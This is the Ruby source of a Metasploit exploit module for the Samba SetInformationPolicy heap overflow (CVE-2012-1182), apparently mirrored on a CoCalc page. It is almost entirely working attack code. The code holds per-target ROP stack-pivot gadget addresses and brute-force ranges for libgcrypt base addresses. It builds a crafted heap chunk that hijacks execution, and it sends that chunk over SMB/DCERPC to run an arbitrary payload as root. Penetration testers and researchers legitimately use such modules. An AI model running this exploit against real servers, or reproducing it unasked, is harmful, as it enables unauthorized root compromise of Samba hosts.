CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/samba/setinfopolicy_heap.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::RopDb11include Msf::Exploit::Brute1213def initialize(info = {})14super(update_info(info,15'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',16'Description' => %q{17This module triggers a vulnerability in the LSA RPC service of the Samba daemon18because of an error on the PIDL auto-generated code. Making a specially crafted19call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to20trigger a heap overflow and finally execute arbitrary code with root privileges.2122The module uses brute force to guess the stackpivot/rop chain or the system()23address and redirect flow there in order to bypass NX. The start and stop addresses24for brute forcing have been calculated empirically. On the other hand the module25provides the StartBrute and StopBrute which allow the user to configure his own26addresses.27},28'Author' =>29[30'Unknown', # Vulnerability discovery31'blasty', # Exploit32'mephos', # Metasploit module33'sinn3r', # Metasploit module34'juan vazquez' # Metasploit module35],36'License' => MSF_LICENSE,37'References' =>38[39['CVE', '2012-1182'],40['OSVDB', '81303'],41['BID', '52973'],42['ZDI', '12-069']43],44'Privileged' => true,45'Payload' =>46{47'DisableNops' => true,48'Space' => 600,49},50'Platform' => %w{ linux unix },51# smbd process is killed soon after being exploited, need fork with meterpreter52'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},53'Targets' =>54[55['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',56{57'Arch' => ARCH_X86,58'Offset' => 0x11c0,59'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',60'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.061'Bruteforce' =>62{63'Start' => { 'libgcrypt_base' => 0xb67f1000 },64'Stop' => { 'libgcrypt_base' => 0xb69ef000 },65'Step' => 0x100066}67}68],69['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',70{71'Arch' => ARCH_X86,72'Offset' => 0x11c0,73'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',74'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.075'Bruteforce' =>76{77'Start' => { 'libgcrypt_base' => 0xb68d9000 },78'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },79'Step' => 0x100080}81}82],83['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',84{85'Arch' => ARCH_X86,86'Offset' => 0x11c0,87'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',88# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode89'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.090# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget91# to effectively stack pivot92'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;93'Bruteforce' =>94{95'Start' => { 'libgcrypt_base' => 0xb6973000 },96'Stop' => { 'libgcrypt_base' => 0xb6b71000 },97'Step' => 0x100098}99}100],101# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date102#['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',103# {104# 'Arch' => ARCH_CMD,105# 'Offset' => 0x11c0,106# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',107# 'Stackpivot' => 0,108# 'Bruteforce' =>109# {110# # The start should be 0x950 aligned, and then step 0x1000.111# 'Start' => { 'Ret' => 0x00230950 },112# 'Stop' => { 'Ret' => 0x22a00950 },113# 'Step' => 0x1000114# }115# }116#],117['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',118{119'Arch' => ARCH_X86,120'Offset' => 0x11c0,121'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',122'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3123'Bruteforce' =>124{125'Start' => { 'libgcrypt_base' => 0xb694f000 },126'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },127'Step' => 0x1000128}129}130],131['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',132{133'Arch' => ARCH_X86,134'Offset' => 0x11c0,135'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',136'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3137'Bruteforce' =>138{139'Start' => { 'libgcrypt_base' => 0xb6962000 },140'Stop' => { 'libgcrypt_base' => 0xb6a61000 },141'Step' => 0x1000142}143}144],145['3.5.10-0.107.el5 on CentOS 5',146{147'Arch' => ARCH_X86,148'Offset' => 0x11c0,149'Ropname' => '3.5.10-0.107.el5 on CentOS 5',150'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2151'Bruteforce' =>152{153'Start' => { 'libgcrypt_base' => 0x0037c000 },154'Stop' => { 'libgcrypt_base' => 0x09e73000 },155'Step' => 0x1000156}157}158]159160],161'DisclosureDate' => '2012-04-10',162'DefaultTarget' => 0163))164165register_options([166OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),167OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])168])169170deregister_options('SMB::ProtocolVersion')171end172173def exploit174if target.bruteforce?175bf = target.bruteforce176177if datastore['StartBrute'] and datastore['StartBrute'] > 0178bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']179end180181if datastore['StopBrute'] and datastore['StopBrute'] > 0182bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']183end184185if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']186raise ArgumentError, "StartBrute should not be larger than StopBrute"187end188end189super190end191192def brute_exploit(target_addrs)193print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])194datastore['DCERPC::fake_bind_multi'] = false195datastore['DCERPC::max_frag_size'] = 4248196datastore['DCERPC::smb_pipeio'] = 'trans'197datastore['DCERPC::ReadTimeout'] = 3198199pipe = "lsarpc"200201vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')202connect(versions: [1])203smb_login()204205handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])206dcerpc_bind(handle)207dcerpc.socket.mode = 'rw'208# revert for other exploits209datastore['DCERPC::smb_pipeio'] = 'rw'210211cmd = ";;;;" # padding212helper = 0213if target['Arch'] == ARCH_CMD214cmd << "#{payload.encoded}\x00" # system argument215tmp = cmd * (816/cmd.length)216tmp << "\x00"*(816-tmp.length)217ret_addr = addr218elsif target['Arch'] == ARCH_X86219cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })220tmp = cmd221tmp << "\x00"*(816-tmp.length)222ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']223# will help in stack pivot when it's not eax pointing to shellcode224if target['Stackpivot_helper']225helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']226end227end228229stub = "X" * 20230231stub << NDR.short(2) # level232stub << NDR.short(2) # level 2233stub << NDR.long(1) # auditing mode234stub << NDR.long(1) # ptr235stub << NDR.long(100000) # r-> count236stub << NDR.long(20) # array size237stub << NDR.long(0)238stub << NDR.long(100)239stub << rand_text_alpha(target['Offset'])240# Crafted talloc chunk241#stub << 'A' * 8 # next, prev242stub << NDR.long(helper) + 'A'*4 # next, prev243stub << NDR.long(0) + NDR.long(0) # parent, child244stub << NDR.long(0) # refs245# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP246stub << NDR.long(ret_addr) # destructor # will become EIP247stub << NDR.long(0) # name248stub << "AAAA" # size249stub << NDR.long(0xe8150c70) # flags250stub << "AAAABBBB"251stub << tmp # pointer to tmp+4 in $esp252stub << rand_text(32632)253stub << rand_text(62000)254255begin256call(dcerpc, 0x08, stub)257rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError258rescue Rex::Proto::DCERPC::Exceptions::Fault259print_error('Server is most likely patched...')260rescue Timeout::Error261print_status("Timeout")262rescue Rex::Proto::SMB::Exceptions::LoginError263print_status("Rex::Proto::SMB::Exceptions::LoginError")264rescue => e265if e.to_s =~ /STATUS_PIPE_DISCONNECTED/266print_status('Server disconnected, this is expected')267end268end269handler()270disconnect()271end272273def check274begin275vprint_status('Connect with SMB1 for the check method, since it needs native_lm info')276connect(versions: [1])277smb_login()278disconnect()279280version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]281minor = version.scan(/\.(\d*)$/).flatten[0].to_i282vprint_status("Version found: #{version}")283284return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16285return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14286return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4287288return Exploit::CheckCode::Safe289290rescue ::Exception291return CheckCode::Unknown292end293end294295# Perform a DCE/RPC Function Call296def call(dcerpc, function, data, do_recv = true)297298frag_size = data.length299if dcerpc.options['frag_size']300frag_size = dcerpc.options['frag_size']301end302object_id = ''303if dcerpc.options['object_call']304object_id = dcerpc.handle.uuid[0]305end306if options['random_object_id']307object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))308end309310call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)311call_packets.each { |packet|312write(dcerpc, packet)313}314315return true if not do_recv316317raw_response = ''318319begin320raw_response = dcerpc.read()321rescue ::EOFError322raise Rex::Proto::DCERPC::Exceptions::NoResponse323end324325if (raw_response == nil or raw_response.length == 0)326raise Rex::Proto::DCERPC::Exceptions::NoResponse327end328329330dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)331332if dcerpc.last_response.type == 3333e = Rex::Proto::DCERPC::Exceptions::Fault.new334e.fault = dcerpc.last_response.status335raise e336end337338dcerpc.last_response.stub_data339end340341# Used to create standard DCERPC REQUEST packet(s)342def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')343344opnum = opnum.to_i345size = size.to_i346ctx = ctx.to_i347348chunks, frags = [], []349ptr = 0350351# Break the request into fragments of 'size' bytes352while ptr < data.length353chunks.push( data[ ptr, size ] )354ptr += size355end356357# Process requests with no stub data358if chunks.length == 0359frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )360return frags361end362363# Process requests with only one fragment364if chunks.length == 1365frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )366return frags367end368369# Create the first fragment of the request370frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )371372# Create all of the middle fragments373while chunks.length != 1374frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )375end376377# Create the last fragment of the request378frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )379380return frags381end382383# Write data to the underlying socket384def write(dcerpc, data)385dcerpc.socket.write(data)386data.length387end388end389390391392